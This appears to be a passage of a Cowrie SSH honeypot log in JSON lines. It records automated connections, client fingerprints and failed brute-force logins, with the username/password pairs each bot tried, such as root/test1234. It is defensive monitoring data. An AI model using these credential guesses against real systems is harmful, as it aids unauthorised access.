{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:52:36.050997Z","src_ip":"45.140.193.156","session":"f39a5f068bf4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:52:36.416865Z","src_ip":"51.250.105.222","session":"9ae4f53cb378","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"logstash","password":"123456","message":"login attempt [logstash/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:52:36.551156Z","src_ip":"45.140.193.156","session":"f39a5f068bf4","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.42.133","src_port":43548,"dst_ip":"159.203.135.109","dst_port":22,"session":"409f7edf16b0","protocol":"ssh","message":"New connection: 91.92.42.133:43548 (159.203.135.109:22) [session: 409f7edf16b0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:52:36.663912Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:52:36.806637Z","src_ip":"91.92.42.133","session":"409f7edf16b0","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:52:36.810027Z","src_ip":"91.92.42.133","session":"409f7edf16b0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:52:37.667444Z","src_ip":"45.140.193.156","session":"f39a5f068bf4","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"test1234","message":"login attempt [root/test1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:52:37.793354Z","src_ip":"91.92.42.133","session":"409f7edf16b0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:52:39.048191Z","src_ip":"91.92.42.133","session":"409f7edf16b0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.42.133","src_port":43634,"dst_ip":"159.203.135.109","dst_port":22,"session":"0972669e2303","protocol":"ssh","message":"New connection: 91.92.42.133:43634 (159.203.135.109:22) [session: 0972669e2303]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:52:43.476702Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:52:43.852635Z","src_ip":"91.92.42.133","session":"0972669e2303","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:52:43.855666Z","src_ip":"91.92.42.133","session":"0972669e2303","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"117.121.214.50","src_port":53608,"dst_ip":"10.17.0.5","dst_port":22,"session":"8ce6c1546e11","protocol":"ssh","message":"New connection: 117.121.214.50:53608 (10.17.0.5:22) [session: 8ce6c1546e11]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:52:45.398039Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:52:45.402537Z","src_ip":"117.121.214.50","session":"8ce6c1546e11","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:52:45.643059Z","src_ip":"117.121.214.50","session":"8ce6c1546e11","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"media","password":"media","message":"login attempt [media/media] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:52:46.016924Z","src_ip":"91.92.42.133","session":"0972669e2303","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"sanjay","password":"sanjay","message":"login attempt [sanjay/sanjay] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:52:46.638748Z","src_ip":"117.121.214.50","session":"8ce6c1546e11","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.9","message":"Connection lost after 3.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:52:47.337481Z","src_ip":"91.92.42.133","session":"0972669e2303","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:52:47.881248Z","src_ip":"117.121.214.50","session":"8ce6c1546e11","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.42.133","src_port":60608,"dst_ip":"159.203.135.109","dst_port":22,"session":"241e2254faa9","protocol":"ssh","message":"New connection: 91.92.42.133:60608 (159.203.135.109:22) [session: 241e2254faa9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:52:51.745391Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:52:51.750755Z","src_ip":"91.92.42.133","session":"241e2254faa9","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:52:51.835614Z","src_ip":"91.92.42.133","session":"241e2254faa9","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Aa112211..","message":"login attempt [root/Aa112211..] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:52:52.105528Z","src_ip":"91.92.42.133","session":"241e2254faa9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:52:53.408525Z","src_ip":"91.92.42.133","session":"241e2254faa9","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"80.66.85.226","src_port":35362,"dst_ip":"10.17.0.5","dst_port":22,"session":"ed36b913f8d4","protocol":"ssh","message":"New connection: 80.66.85.226:35362 (10.17.0.5:22) [session: ed36b913f8d4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:52:56.839972Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:52:56.843865Z","src_ip":"80.66.85.226","session":"ed36b913f8d4","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:52:56.932729Z","src_ip":"80.66.85.226","session":"ed36b913f8d4","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Forten1883","message":"login attempt [root/Forten1883] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:52:57.204748Z","src_ip":"80.66.85.226","session":"ed36b913f8d4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:52:58.295645Z","src_ip":"80.66.85.226","session":"ed36b913f8d4","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.42.133","src_port":54912,"dst_ip":"159.203.135.109","dst_port":22,"session":"22e90d949182","protocol":"ssh","message":"New connection: 91.92.42.133:54912 (159.203.135.109:22) [session: 22e90d949182]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:52:59.076722Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:52:59.148530Z","src_ip":"91.92.42.133","session":"22e90d949182","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:52:59.417415Z","src_ip":"91.92.42.133","session":"22e90d949182","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user1","password":"123456","message":"login attempt [user1/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:53:00.227865Z","src_ip":"91.92.42.133","session":"22e90d949182","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:53:01.326299Z","src_ip":"91.92.42.133","session":"22e90d949182","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.42.133","src_port":34652,"dst_ip":"159.203.135.109","dst_port":22,"session":"969f4ea3ca47","protocol":"ssh","message":"New connection: 91.92.42.133:34652 (159.203.135.109:22) [session: 969f4ea3ca47]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:53:06.454663Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:53:06.655791Z","src_ip":"91.92.42.133","session":"969f4ea3ca47","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:53:06.658963Z","src_ip":"91.92.42.133","session":"969f4ea3ca47","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"arthur","password":"arthur","message":"login attempt [arthur/arthur] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:53:07.532284Z","src_ip":"91.92.42.133","session":"969f4ea3ca47","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:53:08.684623Z","src_ip":"91.92.42.133","session":"969f4ea3ca47","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"27.71.230.31","src_port":45394,"dst_ip":"159.203.135.109","dst_port":22,"session":"c679b3490262","protocol":"ssh","message":"New connection: 27.71.230.31:45394 (159.203.135.109:22) [session: c679b3490262]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:53:12.185498Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:53:12.231322Z","src_ip":"27.71.230.31","session":"c679b3490262","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":